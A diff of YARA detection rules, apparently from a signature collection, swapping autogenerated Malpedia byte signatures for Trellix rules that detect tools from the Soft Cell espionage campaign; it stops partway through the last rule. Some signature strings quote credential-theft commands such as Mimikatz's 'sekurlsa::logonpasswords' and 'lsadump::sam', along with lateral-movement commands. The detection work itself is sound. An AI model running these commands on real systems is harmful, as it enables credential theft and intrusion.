-		$sequence_3 = { 891c24 e8???????? c744240401000000 891c24 e8???????? 85c0 7518 }
-		$sequence_4 = { f9 663bc9 33d8 03f8 e9???????? 8b442500 660fbdd5 }
-		$sequence_5 = { f8 f5 03f8 e9???????? ff742500 055a2dd112 8dad04000000 }
-		$sequence_6 = { 89442408 8b4510 89442404 8b03 890424 e8???????? 8b550c }
-		$sequence_7 = { f6c3d8 2dc4275e67 2bce 660fc8 66d3c0 fec8 8d440aa4 }
-		$sequence_8 = { e9???????? 8b4c2500 80c4f7 d2d8 648b01 89442500 81ee04000000 }
-		$sequence_9 = { c7442404ffffffff 891c24 e8???????? 8974240c 89442408 c7442404???????? 891c24 }
+import "pe"
 
-	condition:
-		7 of them and filesize <6438912
-}
-rule MALPEDIA_Win_Photofork_Auto : FILE
+rule TRELLIX_ARC_Shadowspawn_Utility : UTILITY FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f7484eb7-9c89-5a31-aecd-73c9087aa29d"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.photofork"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.photofork_auto.yar#L1-L116"
-		license_url = "N/A"
-		logic_hash = "ff7473e2612dfba9efd366e89c657d77862d4c88088d1b5f47bab69cec947ba6"
+		description = "Rule to detect ShadowSpawn utility used in the SoftCell operation"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "0a325f5c-2750-5354-b920-f7e1510a8b71"
+		date = "2019-06-25"
+		modified = "2020-08-14"
+		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Operation_SoftCell.yar#L3-L32"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "0f2805aee60cdb4eb932768849c845052c92131d0b25a511b822b79b2ac93e24"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "UTILITY, FILE"
+		rule_version = "v1"
+		malware_type = "utility"
+		malware_family = "Trojan:W32/ShadowSpawn"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 33c9 4c8d85f0010000 ff15???????? 33db }
-		$sequence_1 = { 4885d2 7431 488b9278010000 4885d2 753a ba01000000 33c9 }
-		$sequence_2 = { 4d85c9 7535 8d5301 33c9 }
-		$sequence_3 = { ff15???????? 4863c8 48ffc6 4803f9 493bf7 0f825fffffff }
-		$sequence_4 = { 4c8b0d???????? 4d85c9 7430 4d8b8910110000 4d85c9 }
-		$sequence_5 = { 488d55e8 498bcc e8???????? 4c8bbc2498000000 }
-		$sequence_6 = { 5e 5d c3 498bdf 6690 80bbc001000030 }
-		$sequence_7 = { 48ffc1 4883f903 72ea 448b4df8 488d0c7e }
-		$sequence_8 = { 488bd0 488b05???????? 48899040060000 488d4dc0 ffd2 66837dc009 b840000000 }
-		$sequence_9 = { 8b44246c 0fb6442468 84c0 7520 }
+		$pdb = "C:\\data\\projects\\shadowspawn\\src\\bin\\Release-W2K3\\x64\\ShadowSpawn.pdb" fullword ascii
+		$op0 = { e9 34 ea ff ff cc cc cc cc 48 8d 8a 20 }
+		$op1 = { 48 8b 85 e0 06 00 00 48 8d 34 00 48 8d 46 02 48 }
+		$op2 = { e9 34 c1 ff ff cc cc cc cc 48 8b 8a 68 }
 
 	condition:
-		7 of them and filesize <99328
+		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="eaae87b11d2ebdd286af419682037b4c" and all of them )
 }
-rule MALPEDIA_Win_Darkcloud_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Poison_Ivy_Softcell : RAT FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b0268fec-89c8-5323-9f85-c9d45089af7c"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkcloud_auto.yar#L1-L133"
-		license_url = "N/A"
-		logic_hash = "500bafad0751f0834ef38cd2423929e4bf071aa68fdd5512e97c403f17f02fd3"
+		description = "Rule to detect Poison Ivy used in the SoftCell operation"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "c362b116-4cb6-5393-9c64-28e8d2886dc7"
+		date = "2019-06-25"
+		modified = "2020-08-14"
+		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Operation_SoftCell.yar#L34-L72"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "ac84023404d76adf8cfd8d26bb59fb51f29057748806c4f5ea0634803fd937cd"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RAT, FILE"
+		rule_version = "v1"
+		malware_type = "rat"
+		malware_family = "Rat:W32/PoisonIvy"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 83c414 8d4db0 ff15???????? c745fc23000000 8b4d08 894da8 }
-		$sequence_1 = { 894598 894db0 8945a8 894dc0 8945b8 ff15???????? 50 }
-		$sequence_2 = { 6a00 51 8bf0 ff15???????? 50 56 6a00 }
-		$sequence_3 = { 8d8d68ffffff 51 ff15???????? c745fc06000000 ba???????? 8d4dcc ff15???????? }
-		$sequence_4 = { 8d855cffffff 8d8df8feffff 50 8d954cffffff 51 52 c7851cffffff08000000 }
-		$sequence_5 = { 668b55dc 663b954cffffff 0f8ff4000000 c745fc0c000000 8d45dc 894584 c7857cffffff02400000 }
-		$sequence_6 = { ff15???????? 8bd0 8d8df0feffff ff15???????? 50 8b559c 52 }
-		$sequence_7 = { 668b00 8975dc 662d0100 8975cc 0f80e4000000 8975ac 894584 }
-		$sequence_8 = { 50 8d4d94 51 e8???????? 8bd0 8d4d84 ff15???????? }
-		$sequence_9 = { ff15???????? 8bd0 8d4da8 ff15???????? 8d5588 52 8d458c }
+		$s1 = "Cannot create folder %sDCRC failed in the encrypted file %s. Corrupt file or wrong password." fullword wide
+		$s2 = "Extracting files to %s folder$Extracting files to temporary folder" fullword wide
+		$s3 = "&Enter password for the encrypted file:" fullword wide
+		$s4 = "start \"\" \"%CD%\\mcoemcpy.exe\"" fullword ascii
+		$s5 = "setup.bat" fullword ascii
+		$s6 = "ErroraErrors encountered while performing the operation" fullword wide
+		$s7 = "Please download a fresh copy and retry the installation" fullword wide
+		$s8 = "antivir.dat" fullword ascii
+		$s9 = "The required volume is absent2The archive is either in unknown format or damaged" fullword wide
+		$s10 = "=Total path and file name length must not exceed %d characters" fullword wide
+		$s11 = "Please close all applications, reboot Windows and restart this installation\\Some installation files are corrupt." fullword wide
+		$op0 = { e8 6f 12 00 00 84 c0 74 04 32 c0 eb 34 56 ff 75 }
+		$op1 = { 53 68 b0 34 41 00 57 e8 61 44 00 00 57 e8 31 44 }
+		$op2 = { 56 ff 75 08 8d b5 f4 ef ff ff e8 17 ff ff ff 8d }
 
 	condition:
-		7 of them and filesize <622592
+		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="dbb1eb5c3476069287a73206929932fd" and all of them )
 }
-rule MALPEDIA_Win_Stop_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Trochilus_Softcell : TROJAN FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fe824146-93e4-5101-ac02-1276fa1eda55"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stop"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stop_auto.yar#L1-L121"
-		license_url = "N/A"
-		logic_hash = "d919a89d4ce45439e081288fd345725318b761c87669a03e35d3c6db03d1320c"
+		description = "Rule to detect Trochilus malware used in the SoftCell operation"
+		author = "Trellix ARC Team"
+		id = "81e942ae-936f-5952-8d50-ee8cec74520b"
+		date = "2019-06-25"
+		modified = "2020-08-14"
+		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Operation_SoftCell.yar#L74-L106"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "80a0841a08627acf11707f3aeef4e7c3777aecf04b932755efa618d7e92b0cda"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "TROJAN, FILE"
+		rule_version = "v1"
+		malware_type = "trojan"
+		malware_family = "Trojan:W32/Trochilus"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 6a00 8d45e0 50 ffd6 85c0 75e2 6a64 }
-		$sequence_1 = { ffd0 5d c3 8b0d???????? 33d2 85c9 }
-		$sequence_2 = { 57 6a00 8bd9 6a00 6a12 ff33 }
-		$sequence_3 = { 56 57 6a00 8bd9 6a00 6a12 }
-		$sequence_4 = { ff750c ff7508 ffd0 5d c3 8b0d???????? }
-		$sequence_5 = { ff15???????? 50 e8???????? c745fc00000000 }
-		$sequence_6 = { 75e2 6a64 ff15???????? ffd3 }
-		$sequence_7 = { 68???????? 6a00 6a00 ff15???????? 33c9 894604 85c0 }
-		$sequence_8 = { 6a00 ff15???????? 33c9 894604 }
-		$sequence_9 = { 6a00 ff15???????? 33c9 894604 85c0 5e 0f95c1 }
+		$s1 = "Shell.dll" fullword ascii
+		$s2 = "photo.dat" fullword wide
+		$s3 = "VW9HxtV9H|tQ9" fullword ascii
+		$s4 = "G6uEGRich7uEG" fullword ascii
+		$op0 = { e8 9d ad ff ff ff b6 a8 }
+		$op1 = { e8 d4 ad ff ff ff b6 94 }
+		$op2 = { e8 ea ad ff ff ff b6 8c }
 
 	condition:
-		7 of them and filesize <6029312
+		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="8e13ebc144667958722686cb04ee16f8" and (pe.exports("Entry") and pe.exports("Main")) and all of them )
 }
-rule MALPEDIA_Win_Mirrorkey_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Lg_Utility_Lateral_Movement_Softcell : UTILITY FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e800f2ca-d12e-53d0-a0d8-c0a956e2c2e3"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorkey"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mirrorkey_auto.yar#L1-L123"
-		license_url = "N/A"
-		logic_hash = "63df7495a525d1f228b934ad2c4fefa8fb21a89fd4e60713963ec70e2cb5c67e"
+		description = "Rule to detect the utility LG from Joeware to do Lateral Movement in the SoftCell operation"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "4f435348-427a-5f35-9545-5582033eb043"
+		date = "2019-06-25"
+		modified = "2020-08-14"
+		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Operation_SoftCell.yar#L108-L143"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "f88781b9632cd31bb9e3d68730c63c3fcd0ebe4a09b70b5b54d456cdc9ae8d01"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "UTILITY, FILE"
+		rule_version = "v1"
+		malware_type = "utility"
+		malware_family = "Utility:W32/Joeware"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 0f57c0 0f1145d8 ff15???????? c70016000000 ff15???????? 8d45d4 50 }
-		$sequence_1 = { 895914 0fb77806 85ff 7414 8d4b10 8b4104 0301 }
-		$sequence_2 = { ff15???????? 83c40c c744241000000000 33c0 c644242c00 8944242d 8d742433 }
-		$sequence_3 = { 8bf9 8b7508 8d45a4 50 }
-		$sequence_4 = { 83c004 8b7dfc 83ff01 7f87 5f }
-		$sequence_5 = { 730b 68???????? ff15???????? 894610 837e1410 }
-		$sequence_6 = { 897508 2bda ebaa 8d5aff 83c704 eba2 }
-		$sequence_7 = { 8d4dd8 50 e8???????? 8d4d8c e8???????? 837de808 7d15 }
-		$sequence_8 = { 6a00 51 89542414 ff15???????? 83c408 83f8ff }
-		$sequence_9 = { 53 8b5d0c 894dfc 8b4d08 56 }
+		$s1 = "lg \\\\comp1\\users louise -add -r comp3" fullword ascii
+		$s2 = "lg \\\\comp1\\users S-1-5-567-678-89765-456 -sid -add" fullword ascii
+		$s3 = "lg \\\\comp1\\users -sidsout" fullword ascii
+		$s4 = "Enumerates members of localgroup users on localhost" fullword ascii
+		$s5 = "Adds SID resolved at comp3 for louise to localgroup users on comp1" fullword ascii
+		$s6 = "CodeGear C++ - Copyright 2008 Embarcadero Technologies" fullword ascii
+		$s7 = "Lists members of localgroup users on comp1 in SID format" fullword ascii
+		$s8 = "ERROR: Verify that CSV lines are available in PIPE input. " fullword ascii
+		$op0 = { 89 43 24 c6 85 6f ff ff ff 00 83 7b 24 10 72 05 }
+		$op1 = { 68 f8 0e 43 00 e8 8d ff ff ff 83 c4 20 68 f8 0e }
+		$op2 = { 66 c7 85 74 ff ff ff 0c 00 8d 55 d8 52 e8 e9 eb }
 
 	condition:
-		7 of them and filesize <117760
+		uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="327ce3f883a5b59e966b5d0e3a321156" and all of them )
 }
-rule MALPEDIA_Win_Arkei_Stealer_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Mangzamel_Softcell : TROJAN FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d30a73fa-e439-581b-821f-0f94e7403477"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.arkei_stealer_auto.yar#L1-L125"
-		license_url = "N/A"
-		logic_hash = "9f5b37522725bf35fb4c723079a0799c573d27f50c2c2a0cc7a8a66eafb6f502"
+		description = "Rule to detect Mangzamel used in the SoftCell operation"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "b0473362-7e03-5127-aee5-b5a4f05bcc8e"
+		date = "2019-06-25"
+		modified = "2020-08-14"
+		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Operation_SoftCell.yar#L145-L176"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "3666c645943eb8469096b8093c74e4d819299d3ffc2b99e37a506d8ef09e90c4"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "TROJAN, FILE"
+		rule_version = "v1"
+		malware_type = "trojan"
+		malware_family = "Trojan:W32/Mangzamel"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8d55c4 52 6a18 50 ff15???????? 85c0 }
-		$sequence_1 = { 8be5 5d c3 50 8b45e8 }
-		$sequence_2 = { 894614 897e24 ff15???????? 8bd8 3bdf 0f84e3feffff }
-		$sequence_3 = { 8bf0 ffd3 8bd8 53 56 }
-		$sequence_4 = { 56 53 52 57 50 51 ff15???????? }
-		$sequence_5 = { 8b00 50 ff15???????? 83f8ff 740b a810 7507 }
-		$sequence_6 = { 85c0 0f8458feffff 8b4e20 6a00 8d45e4 50 8d148d28000000 }
-		$sequence_7 = { 8bf0 c70628000000 8b4dc8 894e04 8b55cc 895608 668b45d4 }
-		$sequence_8 = { 8b7614 6a00 8d45e4 50 56 }
-		$sequence_9 = { 56 894590 ff15???????? 8bf8 897d94 83ffff }
+		$s1 = "Change Service Mode to user logon failure.code:%d" fullword ascii
+		$s2 = "spoolsvs.exe" fullword wide
+		$s3 = "System\\CurrentControlSet\\Services\\%s\\parameters\\%s" fullword ascii
+		$s4 = "Please Correct [-s %s]" fullword ascii
+		$s5 = "Please Correct [-m %s]" fullword ascii
+		$op0 = { 59 8d 85 64 ff ff ff 50 c7 85 64 ff ff ff 94 }
+		$op1 = { c9 c2 08 00 81 c1 30 34 00 00 e9 cf 9b ff ff 55 }
+		$op2 = { 80 0f b6 b5 68 ff ff ff c1 e2 04 0b d6 0f b6 b5 }
 
 	condition:
-		7 of them and filesize <1744896
+		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="ef64bb4aa42ef5a8a2e3858a636bce40" and all of them )
 }
-rule MALPEDIA_Win_Tiger_Rat_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Nbtscan_Utility_Softcell : UTILITY FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c2ea69b5-54d0-5c61-bb49-4f65b838d0af"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiger_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tiger_rat_auto.yar#L1-L165"
-		license_url = "N/A"
-		logic_hash = "bed3ce3d252a7d616792a16e358ffda1357857c1fa2b5862a7f71cbabe456650"
+		description = "Rule to detect nbtscan utility used in the SoftCell operation"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "a2a8dd43-0d30-5da5-9dd3-6ba9f6473c40"
+		date = "2019-06-25"
+		modified = "2020-08-14"
+		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Operation_SoftCell.yar#L178-L209"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "6079f1363578f82fd38971d0c8f69cc156f7f678c3f2be22c5d9c3748dc80b1f"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 45
+		tags = "UTILITY, FILE"
+		rule_version = "v1"
+		malware_type = "utility"
+		malware_family = "Utility:W32/NbtScan"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 4883c128 4889742448 48897c2450 ff15???????? }
-		$sequence_1 = { 0f11400c 488b4e28 488b5618 488b01 ff5010 }
-		$sequence_2 = { 4883c108 e8???????? 4d8b4618 41b901000000 }
-		$sequence_3 = { 33d2 41b80c000100 488bd8 e8???????? 4c63442430 488b4f08 }
-		$sequence_4 = { 4883c108 413bc0 7cef eb06 4898 }
-		$sequence_5 = { 4883c110 e8???????? 896e30 381f }
-		$sequence_6 = { 4883c10c e8???????? 488b4f28 488b5718 }
-		$sequence_7 = { 4883c110 48c741180f000000 33ed 48896910 408829 48c746500f000000 }
-		$sequence_8 = { 7ce0 488bce ff15???????? 8b0d???????? }
-		$sequence_9 = { ff15???????? 488bc8 ff15???????? ba0a000000 }
-		$sequence_10 = { 0b05???????? 8905???????? ff15???????? ff15???????? b9e8030000 8bd8 }
-		$sequence_11 = { 4c2bf3 8905???????? 493bf7 0f83c8000000 48896c2478 4c896c2430 41bd00f00000 }
-		$sequence_12 = { c705????????02000000 488905???????? 488d0556eb0100 48891d???????? 488905???????? 33c0 488905???????? }
-		$sequence_13 = { 8b05???????? 4d8bf4 2305???????? 4c03fe 4c2bf3 8905???????? }
-		$sequence_14 = { 4c8d35046c0100 49833cde00 7407 b801000000 eb5e }
-		$sequence_15 = { 8bd8 e8???????? 2bc3 3d70170000 7cf2 e8???????? }
+		$s1 = "nbtscan 1.0.35 - 2008-04-08 - http://www.unixwiz.net/tools/" fullword ascii
+		$s2 = "parse_target_cb.c" fullword ascii
+		$s3 = "ranges. Ranges can be in /nbits notation (\"192.168.12.0/24\")" fullword ascii
+		$s4 = "or with a range in the last octet (\"192.168.12.64-97\")" fullword ascii
+		$op0 = { 52 68 d4 66 40 00 8b 85 58 ff ff ff 50 ff 15 a0 }
+		$op1 = { e9 1c ff ff ff 8b 45 fc 8b e5 5d c3 cc cc cc cc }
+		$op2 = { 59 59 c3 8b 65 e8 ff 75 d0 ff 15 34 60 40 00 ff }
 
 	condition:
-		7 of them and filesize <557056
+		uint16(0)==0x5a4d and filesize <100KB and (pe.imphash()=="2fa43c5392ec7923ababced078c2f98d" and all of them )
 }
-rule MALPEDIA_Win_Startpage_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Mimikatz_Utility_Softcell : HACKTOOL FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bf47ff90-3238-555c-bf4a-537084ae22d6"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.startpage"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.startpage_auto.yar#L1-L133"
-		license_url = "N/A"
-		logic_hash = "9dae8bd02cc42718a63c04f81edbd9a29e9f4300c24f882a2c1fba0669713697"
+		description = "Rule to detect Mimikatz utility used in the SoftCell operation"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "0c01a2f6-cf3c-57b3-8f19-94d320422658"
+		date = "2019-06-25"
+		modified = "2020-08-14"
+		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Operation_SoftCell.yar#L211-L258"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "4ccb44bf0d490a18e35290d904326ce14cdc92c96be1a38e6059431645233e37"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 68
+		tags = "HACKTOOL, FILE"
+		rule_version = "v1"
+		malware_type = "hacktool"
+		malware_family = "Hacktool:W32/Mimikatz"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8945ec 85db 740c 8b0b 85c9 7406 0fb701 }
-		$sequence_1 = { 83eb01 75f1 8b75f8 8b06 33c9 663b08 759d }
-		$sequence_2 = { 75f5 2bd1 d1fa 5b 52 ff7508 8bcf }
-		$sequence_3 = { 8901 89742410 eb06 8931 8b742410 8b44241c 85c0 }
-		$sequence_4 = { 8bec a1???????? 85c0 740e 50 e8???????? 8325????????00 }
-		$sequence_5 = { 722e 8b4dc0 40 3d00100000 721a f6c11f 759c }
-		$sequence_6 = { 8b03 8bfb 53 ff5004 8b7508 33c9 8bc3 }
-		$sequence_7 = { e8???????? 59 c645fc01 8b8de0feffff 83c1f0 e8???????? 51 }
-		$sequence_8 = { 755f 8a0a 8d4201 8907 80f975 7553 8b4db8 }
-		$sequence_9 = { 8907 50 50 8945fc ff35???????? ff31 }
+		$s1 = "livessp.dll" fullword wide
+		$s2 = "\\system32\\tapi32.dll" fullword wide
+		$s3 = " * Process Token : " fullword wide
+		$s4 = "lsadump" fullword wide
+		$s5 = "-nl - skip lsa dump..." fullword wide
+		$s6 = "lsadump::sam" fullword wide
+		$s7 = "lsadump::lsa" fullword wide
+		$s8 = "* NL$IterCount %u, %u real iter(s)" fullword wide
+		$s9 = "* Iter to def (%d)" fullword wide
+		$s10 = " * Thread Token  : " fullword wide
+		$s11 = " * RootKey  : " fullword wide
+		$s12 = "lsadump::cache" fullword wide
+		$s13 = "sekurlsa::logonpasswords" fullword wide
+		$s14 = "(commandline) # %s" fullword wide
+		$s15 = ">>> %s of '%s' module failed : %08x" fullword wide
+		$s16 = "UndefinedLogonType" fullword wide
+		$s17 = " * Username : %wZ" fullword wide
+		$s18 = "logonPasswords" fullword wide
+		$s19 = "privilege::debug" fullword wide
+		$s20 = "token::elevate" fullword wide
+		$op0 = { e8 0b f5 00 00 90 39 35 30 c7 02 00 75 34 48 8b }
+		$op1 = { eb 34 48 8b 4d cf 48 8d 45 c7 45 33 c9 48 89 44 }
+		$op2 = { 48 3b 0d 34 26 01 00 74 05 e8 a9 31 ff ff 48 8b }
 
 	condition:
-		7 of them and filesize <2277376
+		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="169e02f00c6fb64587297444b6c41ff4" and all of them )
 }
-rule MALPEDIA_Win_Bbsrat_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Sfx_Winrar_Plugx : BUILDER FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1bf7f125-76bf-51d8-8714-b1f4351a2fc5"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bbsrat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bbsrat_auto.yar#L1-L131"
-		license_url = "N/A"
-		logic_hash = "d09c46b568c20e6cc1497fd9b00b10dfec3bd249a240c9cb1f2d27667bcf264d"
+		description = "Rule to detect the SFX WinRAR delivering a possible Plugx sample"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "ac975a58-6a8a-515e-b27f-327a7bfc7686"
+		date = "2019-06-25"
+		modified = "2020-08-14"
+		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Operation_SoftCell.yar#L260-L307"
